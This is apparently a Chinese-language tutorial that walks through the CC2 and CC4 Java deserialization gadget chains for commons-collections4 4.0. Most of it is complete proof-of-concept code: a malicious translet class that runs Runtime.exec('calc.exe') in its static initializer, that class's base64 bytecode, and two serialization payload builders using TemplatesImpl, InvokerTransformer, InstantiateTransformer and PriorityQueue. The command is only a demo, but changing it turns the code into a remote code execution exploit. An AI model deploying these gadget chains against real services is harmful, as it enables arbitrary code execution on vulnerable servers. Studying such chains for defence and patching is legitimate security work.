cc2/4是幹嘛的
cc2、cc4針對的commons-collections4版本大於4.0(含)
入口略有不同,後續和cc3一樣透過TemplatesImpl載入惡意位元組碼
呼叫鏈
PriorityQueue.readobject
PriorityQueue的反序列化方法呼叫了heapify()
heapify
heapify()呼叫了siftDown
可以看見元素需要大於兩個,所以我們編寫poc時候需要手動新增
siftDown
之後呼叫siftDownUsingComparator
siftDownUsingComparator
呼叫了compare方法進行比較
殊途同歸
而TransformingComparator的compare方法呼叫了transform,之後就是cc1/cc3的那套了
程式碼
首先製作一個惡意類
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try {
System.out.println(" [+]calc類的靜態初始化模組,呼叫Runtime.getRuntime().exec(\"calc.exe\");");
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
之後先執行一次程式,獲取Calc.java
在其目錄下certutil -f -encode Calc.class class.base64
獲取位元組碼
pom依賴
復現時候的pom.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>cc2</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
cc2
編寫poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//Calc a=new Calc();
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQgoACwAnCQAoACkIACoKACsALAoALQAuCAAvCgAtADAHADEKAAgA" +
"MgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUB" +
"ABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0NhbGM7" +
"AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJu" +
"YWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z" +
"ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1M" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAho" +
"YW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJp" +
"YWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADUBAKYo" +
"TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNv" +
"bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRv" +
"cjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nl" +
"cmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcv" +
"YXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRs" +
"ZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVy" +
"L1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lv" +
"L0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADEBAApTb3VyY2VGaWxlAQAJ" +
"Q2FsYy5qYXZhDAAMAA0HADYMADcAOAEAVSAgICBbK11jYWxj57G755qE6Z2Z5oCB" +
"5Yid5aeL5YyW5qih5Z2X77yM6LCD55SoUnVudGltZS5nZXRSdW50aW1lKCkuZXhl" +
"YygiY2FsYy5leGUiKTsHADkMADoAOwcAPAwAPQA+AQAIY2FsYy5leGUMAD8AQAEA" +
"E2phdmEvaW8vSU9FeGNlcHRpb24MAEEADQEAEG9yZy9leGFtcGxlL0NhbGMBAEBj" +
"b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9B" +
"YnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVy" +
"bmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEA" +
"A291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJl" +
"YW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5n" +
"L1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE" +
"ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEA" +
"D3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAABAABAAwADQABAA4AAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIADwAAAAYAAQAAAAsAEAAAAAwAAQAAAAUAEQASAAAAAQATABQA" +
"AgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABkAEAAAACAAAwAAAAEAEQAS" +
"AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAOAAAASQAA" +
"AAQAAAABsQAAAAIADwAAAAYAAQAAAB4AEAAAACoABAAAAAEAEQASAAAAAAABABUA" +
"FgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAIAANAAEADgAAAG0A" +
"AgABAAAAGrIAAhIDtgAEuAAFEga2AAdXpwAISyq2AAmxAAEAAAARABQACAADAA8A" +
"AAAaAAYAAAAPAAgAEAARABMAFAARABUAEgAZABQAEAAAAAwAAQAVAAQAIQAiAAAA" +
"IwAAAAcAAlQHACQEAAEAJQAAAAIAJg==");
System.out.println("[+]構造TemplatesImpl");
TemplatesImpl obj = new TemplatesImpl();
// 設定位元組碼及其對應類名
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Calc");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 構造Payload
System.out.println("[+]invokerTransformer呼叫newTransformer方法");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
System.out.println("[+]構造priorityQueue,transformingComparator");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
System.out.println("[+]將TemplatesImpl裝入priorityQueue(同時手動多填入一個元素)");
priorityQueue.add(obj);
priorityQueue.add(2);
System.out.println("[+]反射賦值priorityQueue中的transformingComparator的transformer,修改為上方那個能呼叫newTransformer方法的物件");
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
// 序列化
System.out.println("[+]序列化priorityQueue");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
// 反序列化
System.out.println("[+]反序列化priorityQueue");
//System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
}
cc4
編寫poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//Calc a=new Calc();
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQgoACwAnCQAoACkIACoKACsALAoALQAuCAAvCgAtADAHADEKAAgA" +
"MgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUB" +
"ABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0NhbGM7" +
"AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJu" +
"YWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z" +
"ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1M" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAho" +
"YW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJp" +
"YWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADUBAKYo" +
"TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNv" +
"bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRv" +
"cjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nl" +
"cmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcv" +
"YXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRs" +
"ZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVy" +
"L1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lv" +
"L0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADEBAApTb3VyY2VGaWxlAQAJ" +
"Q2FsYy5qYXZhDAAMAA0HADYMADcAOAEAVSAgICBbK11jYWxj57G755qE6Z2Z5oCB" +
"5Yid5aeL5YyW5qih5Z2X77yM6LCD55SoUnVudGltZS5nZXRSdW50aW1lKCkuZXhl" +
"YygiY2FsYy5leGUiKTsHADkMADoAOwcAPAwAPQA+AQAIY2FsYy5leGUMAD8AQAEA" +
"E2phdmEvaW8vSU9FeGNlcHRpb24MAEEADQEAEG9yZy9leGFtcGxlL0NhbGMBAEBj" +
"b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9B" +
"YnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVy" +
"bmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEA" +
"A291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJl" +
"YW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5n" +
"L1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE" +
"ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEA" +
"D3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAABAABAAwADQABAA4AAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIADwAAAAYAAQAAAAsAEAAAAAwAAQAAAAUAEQASAAAAAQATABQA" +
"AgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABkAEAAAACAAAwAAAAEAEQAS" +
"AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAOAAAASQAA" +
"AAQAAAABsQAAAAIADwAAAAYAAQAAAB4AEAAAACoABAAAAAEAEQASAAAAAAABABUA" +
"FgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAIAANAAEADgAAAG0A" +
"AgABAAAAGrIAAhIDtgAEuAAFEga2AAdXpwAISyq2AAmxAAEAAAARABQACAADAA8A" +
"AAAaAAYAAAAPAAgAEAARABMAFAARABUAEgAZABQAEAAAAAwAAQAVAAQAIQAiAAAA" +
"IwAAAAcAAlQHACQEAAEAJQAAAAIAJg==");
TemplatesImpl obj = new TemplatesImpl();
// 設定位元組碼及其對應類名
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Calc");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// Object o = obj.newTransformer();
// 構造Payload
System.out.println("[+]構造TrAXFilter");
ConstantTransformer a= new ConstantTransformer(TrAXFilter.class);
System.out.println("[+]構造InstantiateTransformer");
InstantiateTransformer b=new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] {obj}
);
Transformer[] transformers = new Transformer[] {a, b};
// 宣告一個fakeTransformers
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)
};
System.out.println("[+]構造transformerChain");
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
System.out.println("[+]構造priorityQueue,並將TransformingComparator放入(TransformingComparator的compare會觸發Transform)");
PriorityQueue priorityQueue = new PriorityQueue(new TransformingComparator(transformerChain));
System.out.println("[+]手動新增元素");
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
// 序列化
System.out.println("[+]序列化priorityQueue");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
// 反序列化
System.out.println("[+]反序列化priorityQueue");
//System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
}